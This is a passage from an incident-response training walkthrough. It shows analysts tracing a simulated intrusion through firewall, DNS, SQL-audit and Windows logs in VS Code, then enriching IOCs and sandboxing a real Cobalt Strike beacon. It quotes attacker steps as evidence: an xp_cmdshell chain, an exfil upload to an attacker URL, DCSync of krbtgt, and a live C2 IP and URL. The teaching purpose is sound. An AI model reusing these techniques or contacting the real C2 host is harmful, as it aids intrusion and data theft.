token authentication bypass<br>grep "203.0.113.87" vpn/anyconnect-2024-10-24.log | awk '{print $1,$2,$3}' | head -8<br># → ~7-minute C2 beacons during the VPN session window</pre><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 185.220.101.47 — Attacker VPN source; Istanbul; authenticated as p.levi</li><li><strong>Account</strong> p.levi — Session token auth; no MFA challenge issued</li><li><strong>IP (internal)</strong> 10.10.3.22 — Assigned to attacker session; masks as WS-IT-LEVI</li><li><strong>IP</strong> 203.0.113.87 — C2 beacons during VPN session (~7-min interval)</li></ul><h4>6. NGFW Log Analysis — Rainbow CSV</h4><p><strong>In VS Code Explorer:</strong> click palo-alto/ngfw-flows.csv</p><p>Rainbow CSV colorizes columns. The status bar shows column names as you move the cursor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yz7EggRReYdjyRyz79n79A.png"></figure><p>RBQLHeader<br>a1receive_time<br>a22dport<br>a5src<br>a28bytes<br>a6dst<br>a29bytes_sent<br>a9rule<br>a30bytes_received<br>a10srcuser<br>a33elapsed<br>a12app<br>a34category<br>a27action<br>a41session_end_reason</p><p><strong>In VS Code Explorer:</strong> click palo-alto/ngfw-flows.csv. Press F5 to open the RBQL console.</p><p><strong>Query 1 — find anomalies: all flows sorted by bytes_sent descending</strong></p><p>Start here every time. The outlier appears immediately.</p><pre>SELECT a1, a5, a6, a22,<br>       Math.round(parseInt(a29) / 1048576) + ' MB' AS sent_MB,<br>       Math.round(parseInt(a30) / 1024) + ' KB' AS rcvd_KB,<br>       a33 + 's', a10<br>ORDER BY parseInt(a29) DESC</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pszv_-CeRnD-lNlUmL8VBQ.png"></figure><pre>2024-11-06T00:14:14Z | 10.10.2.15 | 198.51.100.44 | 443 | 381 MB | 409 KB | 312s |<br>2024-11-15T16:42:41Z | 10.10.1.45 | 203.0.113.87  | 443 |  17 MB |  10 KB |  63s | LIFETECHPHARMA\m.cohen<br>2024-11-15T16:49:22Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  61s | LIFETECHPHARMA\m.cohen<br>2024-11-15T16:56:03Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  59s | LIFETECHPHARMA\m.cohen<br>2024-11-06T00:09:44Z | 10.10.3.22 | 203.0.113.87  | 443 |   9 KB |   7 KB |  51s | LIFETECHPHARMA\p.levi<br>...</pre><p>The first row is 17,000× larger than any other flow. Upload ratio 99% (381 MB sent, 409 KB received). Session lasted 312 seconds. This is data exfiltration, not a download.</p><p>Two hosts are beaconing to the same C2 IP: 10.10.3.22 (IT admin, p.levi) and 10.10.1.45 (CFO, m.cohen) — two separate infections.</p><p><strong>Query 2 — exfil upload ratio: flag flows where sent &gt; 90% of total bytes</strong></p><pre>SELECT a1, a5, a6, a22,<br>       Math.round(parseInt(a29) / 1048576) + ' MB' AS sent_MB,<br>       Math.round(parseInt(a29) * 100 / (parseInt(a28) + 1)) + '%' AS upload_pct,<br>       a33 + 's'<br>WHERE parseInt(a28) &gt; 100000<br>ORDER BY parseInt(a29) DESC</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UkpGfIAnhSx0k-VE5CATzg.png"></figure><p>Result: only one row — 10.10.2.15 → 198.51.100.44, 99% upload, 381 MB. Every other flow is bidirectional C2 (55–65% upload) which is beacon traffic, not exfil.</p><p><strong>Query 3 — beacon pattern: repeated small flows to same external IP</strong></p><pre>SELECT a6, COUNT(a6) AS sessions,<br>       AVG(parseInt(a28)) AS avg_bytes,<br>       AVG(parseInt(a33)) AS avg_elapsed_s<br>WHERE a6 &amp;&amp; !a6.startsWith('10.') &amp;&amp; !a6.startsWith('192.168.')<br>   &amp;&amp; !isNaN(parseInt(a28))<br>GROUP BY a6Result:</pre><pre>203.0.113.87   | 9 sessions | ~14 KB avg | ~47s avg<br>198.51.100.44  | 1 session  | 399 MB avg | 312s avg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*264pKTvyyeuGVoAIwQVvSw.png"></figure><p>203.0.113.87 has 9 short uniform sessions — beacon. 198.51.100.44 has one giant session — exfil.</p><p><strong>Query 4 — internal lateral movement: flows that stay inside RFC-1918</strong></p><pre>SELECT a1, a5, a6, a22, a28, a9, a10<br>WHERE a5 &amp;&amp; a6<br>   &amp;&amp; (a5.startsWith('10.') || a5.startsWith('192.168.'))<br>   &amp;&amp; (a6.startsWith('10.') || a6.startsWith('192.168.'))<br>ORDER BY a1</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*epr64_sA5gqNzWxgEi-LpQ.png"></figure><pre>2024-11-15T19:14:08Z | 10.10.1.45 | 10.10.2.20 | 135   | 8441  | InternalAccess-Allow<br>2024-11-15T19:14:18Z | 10.10.1.45 | 10.10.2.20 | 49152 | 12884 | InternalAccess-Allow</pre><p>CFO workstation (10.10.1.45) connected to an internal host (10.10.2.20) on port 135 (DCE/RPC endpoint mapper) then port 49152 (dynamic RPC). This is the WMI/DCOM lateral movement signature — 3 hours after the CFO was compromised.</p><p><strong>Query 5 — beacon timing: isolate C2 host and sort by time to measure intervals</strong></p><pre>SELECT a1, a5, a6, parseInt(a29) AS bytes_sent, a33 + 's'<br>WHERE a6 == '203.0.113.87'<br>ORDER BY a1</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8M-EcFKrYAOXIzIOfoNlw.png"></figure><pre>2024-11-01T07:14:02Z | 10.10.3.22 | 8441 bytes | 47s   ← WS-IT-LEVI session 1<br>2024-11-01T07:21:14Z | 10.10.3.22 | 8221 bytes | 45s   ← gap: 432s<br>2024-11-01T07:28:44Z | 10.10.3.22 | 7882 bytes | 44s   ← gap: 450s<br>                     ↓ 4.7-day silence (C2 dormant) ↓<br>2024-11-06T00:09:44Z | 10.10.3.22 | 9441 bytes | 51s   ← WS-IT-LEVI session 2<br>2024-11-06T00:17:01Z | 10.10.3.22 | 8001 bytes | 46s   ← gap: 437s<br>2024-11-06T00:24:33Z | 10.10.3.22 | 8011 bytes | 44s   ← gap: 452s<br>2024-11-15T16:42:41Z | 10.10.1.45 | 18221 bytes| 63s   ← WS-CFO-01 session 1<br>2024-11-15T16:49:22Z | 10.10.1.45 | 14441 bytes| 61s   ← gap: 401s<br>2024-11-15T16:56:03Z | 10.10.1.45 | 15001 bytes| 59s   ← gap: 421s</pre><p>Beacon interval: <strong>432–452 seconds (~7.2 minutes)</strong>. Consistent across both infected hosts — same implant, same configuration. The 4.7-day gap (Nov 1–6) between IT admin beacon clusters is the C2 going quiet while staging lateral movement.</p><p><strong>Click </strong><strong>palo-alto/dns-queries.csv</strong> in Explorer.</p><p><strong>Column map:</strong></p><p>RBQLHeader<br>a1receive_time<br>a2src<br>a4query<br>a6response<br>a8category<br>a10analyst_note</p><p><strong>Query 6 — all malware-category queries, sorted by time</strong></p><pre>SELECT a1, a2, a4, a6, a8<br>FROM a<br>WHERE a8 == 'malware'<br>ORDER BY a1</pre><p>Result — full malware DNS timeline:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RErM3MswME78yNNi0pB92A.png"></figure><pre>2024-10-22T09:28:41Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware ← AiTM phishing page loaded<br>2024-10-22T09:29:02Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware ← token stolen<br>2024-11-01T07:14:00Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← C2 beacon 1<br>2024-11-01T07:21:14Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-01T07:28:44Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-06T00:09:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-06T00:17:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← (missing from log)<br>2024-11-06T00:24:33Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-06T00:10:14Z | 10.10.2.15 | sys-update-cdn.net            | 198.51.100.44   | malware ← exfil domain lookup<br>2024-11-15T15:58:08Z | 10.10.1.45 | globalcontracts-secure.net    | 185.220.101.52  | malware ← CFO phishing domain<br>2024-11-15T16:42:33Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← CFO C2 beacon 1<br>2024-11-15T16:49:22Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware<br>2024-11-15T16:56:03Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware</pre><p><strong>Query 7 — per-host beacon count: how many hosts are infected?</strong></p><pre>SELECT a2, COUNT(a2) AS queries<br>WHERE a4 == 'telemetry-cdn-services.biz'<br>GROUP BY a2</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v94DK5JOd0MBwJUOjqBpAg.png"></figure><pre>10.10.3.22 | 6   ← WS-IT-LEVI (IT admin) — infected Nov 1<br>10.10.1.45 | 3   ← WS-CFO-01 (CFO) — infected Nov 15</pre><p>Two hosts. Two infections. Same C2 domain. The IT admin host was the initial foothold; the CFO host is the second wave, 14 days later.</p><p><strong>Query 8 — new IP: attacker recon before VPN login</strong></p><pre>SELECT a1, a2, a4, a6, a8, a10<br>WHERE a2 &amp;&amp; !a2.startsWith('10.') &amp;&amp; !a2.startsWith('192.168.')<br>ORDER BY a1</pre><p>Result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lj9D7dZos_et_O16rjcfOg.png"></figure><pre>2024-10-24T00:16:44Z | 185.220.101.47 | vpn.lifetechpharma.com | 10.10.8.1 | business-and-economy</pre><p>The attacker IP (185.220.101.47) looked up the VPN hostname 1 minute before the successful VPN login. Confirms active operator, not automated tool.</p><p><strong>Cross-reference with flows</strong> (Ctrl+Shift+F → 198.51.100.44):</p><pre>ngfw-flows.csv   line 11: 10.10.2.15 → 198.51.100.44 | 399 MB | 312s<br>dns-queries.csv  line 14: 10.10.2.15 → sys-update-cdn.net → 198.51.100.44</pre><p>DNS lookup at 00:10:14Z, flow starts at 00:14:14Z — 4-minute gap between resolution and transfer start. Consistent with manual operator staging the upload command.</p><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 198.51.100.44 — Exfil destination; 381 MB upload, 99% upload ratio, 312s, single session</li><li><strong>IP (internal)</strong> 10.10.2.15 — SERVER-RD-02; exfil source host</li><li><strong>IP</strong> 203.0.113.87 — C2 server; 9 beacon sessions from 2 hosts, ~7.2-min interval</li><li><strong>IP</strong> 185.220.101.52 — New; CFO phishing page host (globalcontracts-secure.net)</li><li><strong>IP (internal)</strong> 10.10.2.20 — Lateral movement target; reached from CFO host on ports 135 + 49152 (RPC/WMI)</li><li><strong>Domain</strong> telemetry-cdn-services.biz — C2 domain; queried by both 10.10.3.22 and 10.10.1.45</li><li><strong>Domain</strong> sys-update-cdn.net — Exfil domain; resolves to 198.51.100.44; queried by 10.10.2.15</li><li><strong>Domain</strong> mfa-lifetechpharma.com — AiTM phishing domain; resolves to 185.220.101.47</li><li><strong>Indicator</strong> Beacon interval 432–452s (~7.2 min) — identical across both infected hosts; same implant config</li><li><strong>Indicator</strong> Attacker recon: 185.220.101.47 queried vpn.lifetechpharma.com 1 min before VPN login7. SQL Audit Log Analysis</li></ul><h4><strong>7. SQL Audit Log Analysis</strong></h4><p><strong>In VS Code Explorer:</strong> click sql-audit/SERVER-RD-02-sql-audit.jsonl</p><p>Each line is a JSON object. Use Ctrl+F to navigate directly to key events:</p><p>Search termJumps to</p><p>xp_cmdshellShell execution events<br>AuditLogAdversary OPSEC recon <br>(SELECT) and anti-forensics (DELETE)<br>UploadFileThe exfiltration command<br>Compress-ArchiveThe staging command</p><p><strong>Full chain in the terminal:</strong></p><pre>jq -r '[.EventTime, .LoginName, .StatementType, (.Statement[0:90])] | @tsv' \<br>  sql-audit/SERVER-RD-02-sql-audit.jsonl</pre><p>Six events: enumerate → recon (SELECT AuditLog) → stage → exfil → cleanup → anti-forensics (DELETE AuditLog). The DELETE at 00:15:22Z failed because Splunk had already ingested these rows before it ran.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Account</strong> svc_backup — Lateral movement account; executed full xp_cmdshell chain</li><li><strong>URL</strong> 198.51.100.44/recv — Exfil endpoint used by WebClient.UploadFile</li><li><strong>File</strong> USPartner2024-formulas.zip — Staged archive; formula data compressed before exfil</li><li><strong>Indicator</strong> xp_cmdshell (T1059.003) — SQL Server shell used as execution proxy</li><li><strong>Indicator</strong> Anti-forensics — DELETE on SQL AuditLog at 00:15:22Z; blocked by prior Splunk ingestion</li></ul><h4>8. Windows Security Event Log Analysis</h4><p><strong>In VS Code Explorer:</strong> click windows-security/DC01-security.jsonl</p><p>Press Ctrl+F, search 4662 — jumps to the DCSync event. The analyst_note gives the human-readable summary in the file itself:</p><pre>🔴 CRITICAL: DCSync — DS-Replication-Get-Changes + DS-Replication-Get-Changes-All<br>from WORKSTATION IP 10.10.3.22 (WS-IT-LEVI). NOT a DC. NOT in pentest VLAN (10.10.99.x).</pre><pre># All three DCSync events — domain, krbtgt, Administrator<br>jq 'select(.EventID == 4662) | {<br>  time: .TimeCreated, subject: .SubjectUserName, object: .ObjectName<br>}' windows-security/DC01-security.jsonl</pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*xlE6AoS-kD4FYW5DmwGVxw.png"></figure><pre>{"time": "2024-11-06T00:48:33Z", "subject": "svc_backup", "object": "DC=lifetechpharma,DC=local"}<br>{"time": "2024-11-06T00:48:44Z", "subject": "svc_backup", "object": "CN=krbtgt,CN=Users,DC=..."}<br>{"time": "2024-11-06T00:48:51Z", "subject": "svc_backup", "object": "CN=Administrator,CN=..."}</pre><p>krbtgt and Administrator DCSync'd — golden ticket capability obtained. Full domain credential rotation required.</p><p><strong>Click </strong><strong>windows-security/SERVER-RD-02-security.jsonl:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r5ZHpES2uPK3SDDVU4yoMg.png"></figure><p>Ctrl+F → 4663 — file access events. Ctrl+F → 5156 — network connection event.</p><pre>jq 'select(.EventID == 4663) | .ObjectName' \<br>  windows-security/SERVER-RD-02-security.jsonl | jq -s 'length'<br># → 47  (47 formula files accessed)<br>jq 'select(.EventID == 5156) | {<br>  time: .TimeCreated, process: (.Application | split("\\\\") | last),<br>  src: .SourceAddress, dst: .DestAddress, dst_port: .DestPort<br>}' windows-security/SERVER-RD-02-security.jsonl<br># → PowerShell → 198.51.100.44:443 at 00:14:14Z</pre><p>Three independent sources — SQL audit (00:13:54Z command issued), NGFW flow (00:14:14Z bytes transferred), Windows Security EID 5156 (00:14:14Z connection initiated) — triangulate to the same 20-second window.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Account</strong> svc_backup — DCSync actor; source IP 10.10.3.22 (non-DC workstation)</li><li><strong>IP (internal)</strong> 10.10.3.22 — WS-IT-LEVI; attacker pivot host issuing DCSync from workstation</li><li><strong>Object</strong> krbtgt — DCSync'd at 00:48:44Z; golden ticket capability obtained</li><li><strong>Object</strong> Administrator — DCSync'd at 00:48:51Z; full domain compromise</li><li><strong>IP</strong> 198.51.100.44:443 — Exfil connection via PowerShell; EID 5156 at 00:14:14Z</li><li><strong>Count</strong> 47 formula files — Accessed via EID 4663 in USPartner2024 share</li></ul><h4>9. Cross-File Pivot — VS Code Global Search</h4><p>VS Code’s Ctrl+Shift+F searches across every open file simultaneously. Use it to verify IOC presence across all evidence in seconds — no SIEM needed for these basic pivots.</p><p><strong>Pivot on the exfil IP:</strong></p><p>Ctrl+Shift+F → 198.51.100.44:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qD5I2ewZTvBRksb7P9Zt5A.png"></figure><pre>ngfw-flows.csv           line 12: ...10.10.2.15,198.51.100.44,443,...399481224...<br>dns-queries.csv          line 10: ...sys-update-cdn.net,A,198.51.100.44...<br>sql-audit.jsonl          line 4:  ...WebClient.UploadFile...198.51.100.44/recv...<br>SERVER-RD-02-security    line 23: ..."DestAddress":"198.51.100.44"...</pre><p>Four files, four hits, one IP. The full exfiltration chain is visible in one search.</p><p><strong>Pivot on the compromised account:</strong></p><p>Ctrl+Shift+F → svc_backup:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8CUk7R4lSjYg01UIH0chg.png"></figure><pre>DC01-security.jsonl       lines 7-9:   DCSync events<br>SERVER-RD-02-security     lines 1-12:  SMB logon + file access + exfil<br>sql-audit.jsonl           all 6 lines: full xp_cmdshell chain</pre><p><strong>Pivot on the C2 domain:</strong></p><p>Ctrl+Shift+F → telemetry-cdn-services.biz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WeNgTuMzhjm9Pl_lXXGmvQ.png"></figure><pre>dns-queries.csv           lines 12-23: 11 beacon queries (6 from WS-IT-LEVI, 4 from WS-CFO-01, 1 missing)</pre><p><strong>Pivot on the attacker source IP (AiTM phishing + VPN access):</strong></p><p>Ctrl+Shift+F → 185.220.101.47:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MHyXMsFanJsG_dvdWSnKqw.png"></figure><pre>azure-ad/signin-p.levi.json          line 18: suspicious sign-in from Istanbul — token replay, no MFA<br>vpn/anyconnect-2024-10-24.log        line 4:  VPN authentication as p.levi, assigned 10.10.3.22<br>palo-alto/dns-queries.csv            line 1:  attacker queried vpn.lifetechpharma.com 1 min before login</pre><p>One IP ties together AiTM credential theft, VPN infiltration, and the recon that preceded it.</p><p>The full attack chain — AiTM phishing → VPN access → formula exfiltration → DCSync → CFO infection — is navigable via these four global searches without opening a SIEM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n_vokO1vkbqN5O709MFF-w.png"></figure><p>Search termAttack phase covered185.220.101.47Initial access: AiTM phishing, VPN infiltration, attacker recontelemetry-cdn-services.bizPersistence: C2 beaconing from both infected hostssvc_backupLateral movement: SMB, xp_cmdshell chain, DCSync198.51.100.44Exfiltration: NGFW flow, DNS lookup, SQL upload command, EID 5156</p><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 198.51.100.44 — Confirmed in 4 files: ngfw-flows, dns-queries, sql-audit, SERVER-RD-02-security</li><li><strong>Account</strong> svc_backup — Confirmed in 3 files: DC01-security (DCSync), SERVER-RD-02-security (SMB+exfil), sql-audit (xp_cmdshell)</li><li><strong>Domain</strong> telemetry-cdn-services.biz — Confirmed in dns-queries (9 beacons) and VPN log (C2 during session)</li><li><strong>Timestamp</strong> 00:13:54Z – 00:14:14Z — 20-second exfil window triangulated across SQL, NGFW, and EID 5156</li></ul><h4>10. IOC Enrichment — REST Client</h4><p>Create one .http file that holds every API call. VS Code's REST Client extension puts a <strong>Send Request</strong> link above each block — click it, the response appears in a split pane on the right. No curl, no terminal, no context switch.</p><p><strong>Create the file:</strong></p><p>Press Ctrl+N, then Ctrl+Shift+P → <strong>Save As</strong> → 03-analysis/ioc-queries.http</p><p>Paste the following:</p><pre>### IOC Enrichment — PROJ-2024-001<br>### Click "Send Request" above any block — response opens in the right pane<br>### Set keys in VS Code Settings &gt; REST Client &gt; Environment Variables<br>### or use system env: @VT_KEY = {{$env VT_API_KEY}}<br><br>@VT_KEY     = your_virustotal_api_key_here<br>@SHODAN_KEY = your_shodan_api_key_here<br><br># ── VirusTotal ──────────────────────────────────────────────────────<br><br>### VT — Primary C2 IP<br>GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Secondary C2 / exfil IP<br>GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Attacker VPN source<br>GET https://www.virustotal.com/api/v3/ip_addresses/185.220.101.47<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Primary C2 domain<br>GET https://www.virustotal.com/api/v3/domains/telemetry-cdn-services.biz<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — AiTM phishing page domain<br>GET https://www.virustotal.com/api/v3/domains/mfa-lifetechpharma.com<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — CFO phishing delivery domain<br>GET https://www.virustotal.com/api/v3/domains/globalcontracts-secure.net<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — svchost32.exe binary hash<br>GET https://www.virustotal.com/api/v3/files/3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT — Imphash pivot (find related samples compiled from same source)<br>GET https://www.virustotal.com/api/v3/intelligence/search?query=imphash%3A3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d<br>x-apikey: {{VT_KEY}}<br><br># ── Shodan ──────────────────────────────────────────────────────────<br><br>### Shodan — Primary C2 IP (ports, services, hosting org)<br>GET https://api.shodan.io/shodan/host/203.0.113.87?key={{SHODAN_KEY}}<br><br>###<br><br>### Shodan — Exfil IP<br>GET https://api.shodan.io/shodan/host/198.51.100.44?key={{SHODAN_KEY}}<br><br># ── Certificate Transparency ─────────────────────────────────────────<br><br>### crt.sh — Find all domains using certs issued to primary C2 IP<br>GET https://crt.sh/?q=203.0.113.87&amp;output=json<br><br>###<br><br>### crt.sh — Cert history for primary C2 domain<br>GET https://crt.sh/?q=telemetry-cdn-services.biz&amp;output=json<br><br># ── RDAP ────────────────────────────────────────────────────────────<br><br>### RDAP — AiTM phishing domain registration date<br>GET https://rdap.org/domain/mfa-lifetechpharma.com<br><br>###<br><br>### RDAP — CFO phishing delivery domain<br>GET https://rdap.org/domain/globalcontracts-secure.net<br><br># ── Passive DNS (no key required) ───────────────────────────────────<br><br>### VT Passive DNS — historical resolutions for primary C2 IP (uses existing VT key)<br>GET https://www.virustotal.com/api/v3/ip_addresses/203.0.113.87/resolutions<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### VT Passive DNS — historical resolutions for exfil IP<br>GET https://www.virustotal.com/api/v3/ip_addresses/198.51.100.44/resolutions<br>x-apikey: {{VT_KEY}}<br><br>###<br><br>### RIPEstat — DNS history for primary C2 IP (no key, no rate limit for training)<br>GET https://stat.ripe.net/data/dns-history/data.json?resource=203.0.113.87<br><br>###<br><br>### RIPEstat — BGP routing info: ASN, prefix, country for C2 IP<br>GET https://stat.ripe.net/data/prefix-overview/data.json?resource=203.0.113.87<br><br>###<br><br>### RIPEstat — BGP routing info for exfil IP<br>GET https://stat.ripe.net/data/prefix-overview/data.json?resource=198.51.100.44<br><br># ── WHOIS / RDAP (no key required) ──────────────────────────────────<br><br>### ARIN RDAP — IP block owner, ASN, abuse contact for C2 IP<br>GET https://rdap.arin.net/registry/ip/203.0.113.87<br><br>###<br><br>### ARIN RDAP — IP block owner for exfil IP<br>GET https://rdap.arin.net/registry/ip/198.51.100.44<br><br>###<br><br>### ARIN RDAP — IP block owner for attacker VPN source<br>GET https://rdap.arin.net/registry/ip/185.220.101.47<br><br>###<br><br>### RDAP — C2 domain registration: registrar, date, registrant<br>GET https://rdap.org/domain/telemetry-cdn-services.biz<br><br>###<br><br>### RDAP — Exfil domain registration<br>GET https://rdap.org/domain/sys-update-cdn.net</pre><p><strong>Using the response pane:</strong></p><p>After clicking <strong>Send Request</strong> on the VT IP block, the right pane shows the full JSON response. Use Ctrl+F in the response pane to find:</p><ul><li>malicious → "malicious": 12</li><li>tags → ["C2", "malware"]</li><li>as_owner → "Hostwinds LLC"</li></ul><p>For the crt.sh response, Ctrl+F → name_value to see all co-hosted domains. cdn-telemetry-update.biz and windows-cdn-service.net appear — new IOCs not yet seen in the org's DNS logs. Switch to dns-queries.csv and Ctrl+F to check immediately.</p><p><strong>Commit the </strong><strong>.http file — it is a reproducible audit trail of every enrichment query:</strong></p><pre>git add 03-analysis/ioc-queries.http<br>git commit -m "PROJ-2024-001: IOC enrichment queries — VT, Shodan, crt.sh, RDAP"</pre><p><strong>Found IOCs</strong></p><ul><li><strong>IP</strong> 203.0.113.87 — Primary C2; VT: 12 malicious detections, ASN: Hostwinds LLC</li><li><strong>IP</strong> 198.51.100.44 — Secondary C2 / exfil endpoint</li><li><strong>IP</strong> 185.220.101.47 — Attacker VPN source</li><li><strong>Domain</strong> telemetry-cdn-services.biz — Primary C2 domain</li><li><strong>Domain</strong> mfa-lifetechpharma.com — AiTM phishing domain; registered 2024-10-18</li><li><strong>Domain</strong> globalcontracts-secure.net — CFO phishing delivery domain</li><li><strong>Domain</strong> cdn-telemetry-update.biz — New; discovered via crt.sh pivot on C2 IP</li><li><strong>Domain</strong> windows-cdn-service.net — New; discovered via crt.sh pivot on C2 IP</li><li><strong>Hash (SHA256)</strong> 3b4c14a87e5f9d8c2a1f4e6b9c0d2e7a1b3c5d8f2a4e6c8b0d3e5a7c1f4b8d2e — svchost32.exe dropper</li><li><strong>Hash (imphash)</strong> 3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d — Pivot on VT to find related samples</li></ul><h4>11. Sandbox Analysis — Submit the Binary</h4><blockquote>Real Cobalt Strike sample used in Steps 11–12 All IPs, domains, and hashes elsewhere in this walkthrough are <strong>synthetic</strong> — invented for training and not queryable on threat intel platforms. Steps 11 and 12 are the exception: they use a <strong>real Cobalt Strike beacon</strong> (trojan.remusstealer/cobalt, 48/75 detections on VirusTotal, SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9) so you can practice sandbox submission and binary analysis against a file with genuine behavior. The C2 IP, HTTP profile, and PE metadata in these two steps reflect the real sample. All other scenario values (log IPs, exfil IPs, domains) remain fictional.</blockquote><p>Submit svchost32.exe (recovered via CrowdStrike RTR) to a sandbox. ANY.RUN is the recommended choice for training — it is interactive and lets you watch execution in real time.</p><p><strong>Submission (ANY.RUN):</strong></p><ol><li>Navigate to <a href="https://app.any.run/">app.any.run</a> → <strong>New Task</strong> → <strong>Upload</strong></li><li>Upload svchost32.exe (SHA256: 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9)</li><li>Environment: <strong>Windows 10 x64</strong>, <strong>User mode</strong> (realistic CFO context)</li><li>Network mode: <strong>Real with IDS</strong> — this beacon makes live HTTPS connections</li><li>Timeout: <strong>120 seconds</strong> — beacon contacts C2 within the first minute</li><li>Click <strong>Run</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WYRLofzCq0I_GY_w7ozZzw.png"></figure><p><strong>Download the report to VS Code:</strong></p><p>After execution completes, click <strong>Export</strong> → <strong>JSON</strong> in ANY.RUN. Save it as:</p><pre>03-analysis/sandbox-svchost32-anyrun.json</pre><p><strong>Open in VS Code:</strong> press Shift+Alt+F to format. Use Ctrl+Shift+O (Outline) to navigate, Ctrl+F to search:</p><p>Search term What you find<br>destination_ip91.211.251.245 — real C2 IP, port 443<br>urlhttps://91.211.251.245/ga.js — Malleable C2 profile mimicking Google AnalyticsCookieBase64-encoded beacon metadata in the HTTP Cookie header<br>User-AgentMozilla/4.0 (compatible; MSIE 8.0...) — hardcoded CS UA string<br>ProxyServerBeacon installs proxy settings pointing to C2<br>long-sleepsVT tag — beacon sleeps between check-ins (configurable interval)</p><p><strong>The Cobalt Strike Malleable C2 profile:</strong> the beacon GETs /ga.js — a path that mimics Google Analytics JavaScript. The Cookie header carries AES-encrypted metadata (victim hostname, PID, username) base64-encoded. The response body delivers shellcode or tasks. A defender looking only at the URL sees legitimate-looking traffic; the anomaly is the 443 connection to a non-Google IP.</p><p>Add the C2 IP to ioc-queries.http and click <strong>Send Request</strong> on the VT and Shodan blocks to pivot immediately.</p><p><strong>Found IOCs</strong></p><ul><li><strong>Hash (SHA256)</strong> 1cf56da38e5fe05fd2242ff49bafa4271c5ee0868887bf91dafb6f47d1e46ae9 — Cobalt Strike beacon; 48/75 VT detections</li><li><strong>Hash (MD5)</strong> cd59d54a7af500f96aa0347bb5daf077 — same sample</li><li><strong>IP</strong> 91.211.251.245:443 — real C2 server; HTTPS; confirmed in sandbox network traffic</li><li><strong>URL</strong> https://91.211.251.245/ga.js — Malleable C2 endpoint; mimics Google Analytics</li><li><strong>Indicator</strong> Cookie-encoded beacon — AES-encrypted victim metadata in HTTP Cookie header</li><li><strong>Indicator</strong> long-sleeps — beacon interval; time between C2 check-ins</li></ul><h4>12. Static Binary Analysis — Hex Editor + Terminal</h4><p><strong>Open the binary in VS Code Hex Editor:</strong></p><p>In VS Code Explorer, right-click svchost32.exe → <strong>Open With</strong> → <strong>Hex Editor</strong></p><p>The file opens as a hex+ASCII dual-pane view. The ASCII column on the right makes string hunting visual — scroll through it and strings like /ga.js and Mozilla/4.0 are readable directly without running strings.</p><p><strong>Navigate to the PE timestamp:</strong></p><p>Press Ctrl+G → type 3C → Enter. This is the e_lfanew field (PE header pointer). Read the 4-byte little-endian value, convert to decimal — that is the offset to the PE signature (PE\0\0). Go to that offset + 8 for the TimeDateStamp field.</p><p>For precise extraction, split the screen: keep Hex Editor on the left, open the integrated terminal on the right:</p><pre>python3 -c "<br>import pefile, datetime, os<br>pe = pefile.PE('svchost32.exe')<br>ts = pe.FILE_HEADER.TimeDateStamp<br>print(f'Compile timestamp : {datetime.datetime.fromtimestamp(ts, datetime.UTC)} UTC')<br>print(f'File size on disk : {os.path.getsize(\"svchost32.exe\"):,} bytes')<br>print(f'PE SizeOfImage    : {pe.OPTIONAL_HEADER.SizeOfImage:,} bytes')<br>overlay = 